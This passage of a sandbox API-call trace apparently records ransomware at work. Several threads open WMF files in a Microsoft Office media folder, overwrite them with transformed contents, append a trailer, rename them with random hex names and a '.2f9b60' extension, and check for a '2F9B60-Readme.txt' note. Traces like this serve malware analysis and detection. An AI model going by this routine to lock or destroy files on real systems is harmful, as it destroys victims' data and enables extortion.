(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863d50) returned 1 [0124.649] FlushFileBuffers (hFile=0xe3c) returned 1 [0124.658] CloseHandle (hObject=0xe3c) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae2f0 [0124.666] wcscpy (in: _Dest=0x202ae2f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0124.666] wcscat (in: _Dest=0x202ae2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0124.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0124.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae2f0) returned 1 [0124.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a8f0) returned 1 Thread: id = 1237 os_tid = 0xc8c [0115.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf")) returned 0x20 [0115.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF", dwFileAttributes=0x20) returned 1 [0120.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe54 [0120.612] GetFileSizeEx (in: hFile=0xe54, lpFileSize=0x38d2fbe0 | out: lpFileSize=0x38d2fbe0*=11716) returned 1 [0120.612] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x2dc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.612] ReadFile (in: hFile=0xe54, lpBuffer=0x38d2fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38d2fba8, lpOverlapped=0x0 | out: lpBuffer=0x38d2fb60*, lpNumberOfBytesRead=0x38d2fba8*=0x4, lpOverlapped=0x0) returned 1 [0121.239] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0121.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7050 [0121.240] NtQuerySystemTime (in: CurrentTime=0x38d2faa0 | out: CurrentTime=0x38d2faa0*=132462177266326000) returned 0x0 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x1e7017a4 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x29bcf923 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x6090990e [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x75eab9fa [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x78e4e66d [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x1c8ac297 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x58c91e91 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x34cec06a [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x3701baa8 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x615e3f5f [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x66383c11 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x357eec1f [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x26f40b46 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x2f0f5be4 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x34a2dbbf [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x7a229b14 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x63ff1705 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0xcfbd352 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x6645c403 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x4fc7d14a [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x63f34884 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x3c889b5b [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x1a6b2e8c [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x41dbd985 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x241da052 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x5e942acd [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x10d6bd79 [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x185ede6d [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x7c92c18b [0121.240] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x30333dbd [0121.241] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x7b527cb4 [0121.241] RtlRandomEx (in: Seed=0x38d2fa90 | out: Seed=0x38d2fa90) returned 0x241da052 [0124.432] ReadFile (in: hFile=0xe54, lpBuffer=0x41c6e130, nNumberOfBytesToRead=0x2dc4, lpNumberOfBytesRead=0x38d2fa90, lpOverlapped=0x0 | out: lpBuffer=0x41c6e130*, lpNumberOfBytesRead=0x38d2fa90*=0x2dc4, lpOverlapped=0x0) returned 1 [0124.512] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.512] WriteFile (in: hFile=0xe54, lpBuffer=0x41c84990*, nNumberOfBytesToWrite=0x2dc4, lpNumberOfBytesWritten=0x38d2fa94, lpOverlapped=0x0 | out: lpBuffer=0x41c84990*, lpNumberOfBytesWritten=0x38d2fa94*=0x2dc4, lpOverlapped=0x0) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70b0 [0124.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0124.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0124.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c84990) returned 1 [0124.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6e130) returned 1 [0124.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8460 [0124.570] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.570] WriteFile (in: hFile=0xe54, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38d2fbb0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x38d2fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0124.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0124.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0124.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0124.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.638] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="51") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="42") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="bc") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="68") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="0b") returned 2 [0124.638] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="9e") returned 2 [0124.638] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="3d") returned 2 [0124.638] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="62") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="97") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="07") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="f7") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="f0") returned 2 [0124.638] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="a9") returned 2 [0124.638] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="88") returned 2 [0124.638] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="82") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="bc") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="0e") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="45") returned 2 [0124.638] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="e5") returned 2 [0124.638] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="b0") returned 2 [0124.638] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="78") returned 2 [0124.638] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="7a") returned 2 [0124.638] RtlInitAnsiString (in: DestinationString=0x38d2fc28, SourceString="5142bc680b9e3d629707d3f7f0a98882bc0ee245e5b0787a" | out: DestinationString="5142bc680b9e3d629707d3f7f0a98882bc0ee245e5b0787a") [0124.639] RtlAnsiStringToUnicodeString (in: DestinationString=0x38d2fbf8, SourceString="5142bc680b9e3d629707d3f7f0a98882bc0ee245e5b0787a", AllocateDestinationString=1 | out: DestinationString="5142bc680b9e3d629707d3f7f0a98882bc0ee245e5b0787a") returned 0x0 [0124.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864680 [0124.639] wcscat (in: _Dest=0x2027a3d0, _Source="5142bc680b9e" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5142bc680b9e") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5142bc680b9e" [0124.639] wcscat (in: _Dest=0x2027a3d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5142bc680b9e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5142bc680b9e.2f9b60" [0124.639] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5142bc680b9e.2f9b60", NtPathName=0x38d2fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5142bc680b9e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac4d0 [0124.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac4d0) returned 1 [0124.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47be0) returned 1 [0124.653] NtQueryInformationFile (in: FileHandle=0xe54, IoStatusBlock=0x38d2fc38, FileInformation=0x38d2fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38d2fc38, FileInformation=0x38d2fc48) returned 0x0 [0124.653] NtSetInformationFile (FileHandle=0xe54, IoStatusBlock=0x38d2fc38, FileInformation=0x38d2fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a3d0) returned 1 [0124.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864680) returned 1 [0124.659] FlushFileBuffers (hFile=0xe54) returned 1 [0124.664] CloseHandle (hObject=0xe54) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202af190 [0124.673] wcscpy (in: _Dest=0x202af190, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0124.673] wcscat (in: _Dest=0x202af190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0124.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0124.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af190) returned 1 [0124.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a860) returned 1 Thread: id = 1238 os_tid = 0xc88 [0115.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf")) returned 0x20 [0115.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF", dwFileAttributes=0x20) returned 1 [0120.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1550 [0120.614] GetFileSizeEx (in: hFile=0x1550, lpFileSize=0x386ff800 | out: lpFileSize=0x386ff800*=23928) returned 1 [0120.614] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x5d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.614] ReadFile (in: hFile=0x1550, lpBuffer=0x386ff780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x386ff7c8, lpOverlapped=0x0 | out: lpBuffer=0x386ff780*, lpNumberOfBytesRead=0x386ff7c8*=0x4, lpOverlapped=0x0) returned 1 [0121.502] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0121.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0121.502] NtQuerySystemTime (in: CurrentTime=0x386ff6c0 | out: CurrentTime=0x386ff6c0*=132462177268978000) returned 0x0 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x46942952 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x182bcb34 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x59ee01b4 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x6005d89c [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x591a7531 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x4411d395 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x19a9c051 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x457c56e1 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0xe0ab5a1 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x41c5832a [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x412bc278 [0121.502] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x76475e6 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x154fb002 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x38b55c8 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x37ef7293 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x32107a0e [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x118440c2 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x3f41b848 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x28363734 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x3c23c245 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x17631255 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x37ef7293 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x99517f6 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x5cda7e32 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x523d44b2 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x652b2d77 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x47a1f07c [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x2c301e16 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x54cc0a78 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x7891ab48 [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x7c7c594d [0121.503] RtlRandomEx (in: Seed=0x386ff6b0 | out: Seed=0x386ff6b0) returned 0x1a16c241 [0124.475] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.475] ReadFile (in: hFile=0x1550, lpBuffer=0x41b885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x386ff720, lpOverlapped=0x0 | out: lpBuffer=0x41b885a0*, lpNumberOfBytesRead=0x386ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0124.796] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0124.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b79560 [0124.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0124.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6560 [0124.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6560) returned 1 [0124.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.797] WriteFile (in: hFile=0x1550, lpBuffer=0x41b79560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x386ff720, lpOverlapped=0x0 | out: lpBuffer=0x41b79560*, lpNumberOfBytesWritten=0x386ff720*=0x3c00, lpOverlapped=0x0) returned 1 [0124.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b79560) returned 1 [0124.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b885a0) returned 1 [0124.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8370 [0124.814] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.814] WriteFile (in: hFile=0x1550, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x386ff7d0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x386ff7d0*=0x10a, lpOverlapped=0x0) returned 1 [0124.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0124.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c10 [0124.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0124.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0124.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0124.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0124.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0124.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c10) returned 1 [0124.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0124.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.828] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="b9") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="03") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="68") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="00") returned 2 [0124.828] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="9d") returned 2 [0124.828] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="c9") returned 2 [0124.828] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="38") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="00") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="a6") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="99") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="e9") returned 2 [0124.828] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="7f") returned 2 [0124.828] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="f2") returned 2 [0124.828] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="ba") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="54") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="8c") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="5c") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="43") returned 2 [0124.828] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="2d") returned 2 [0124.829] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="fe") returned 2 [0124.829] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="8e") returned 2 [0124.829] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="9f") returned 2 [0124.829] RtlInitAnsiString (in: DestinationString=0x386ff848, SourceString="b90368e2009dc93800a6991ee97ff2ba548c5c432dfe8e9f" | out: DestinationString="b90368e2009dc93800a6991ee97ff2ba548c5c432dfe8e9f") [0124.829] RtlAnsiStringToUnicodeString (in: DestinationString=0x386ff818, SourceString="b90368e2009dc93800a6991ee97ff2ba548c5c432dfe8e9f", AllocateDestinationString=1 | out: DestinationString="b90368e2009dc93800a6991ee97ff2ba548c5c432dfe8e9f") returned 0x0 [0124.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863ea0 [0124.829] wcscat (in: _Dest=0x2027a0b0, _Source="b90368e2009d" | out: 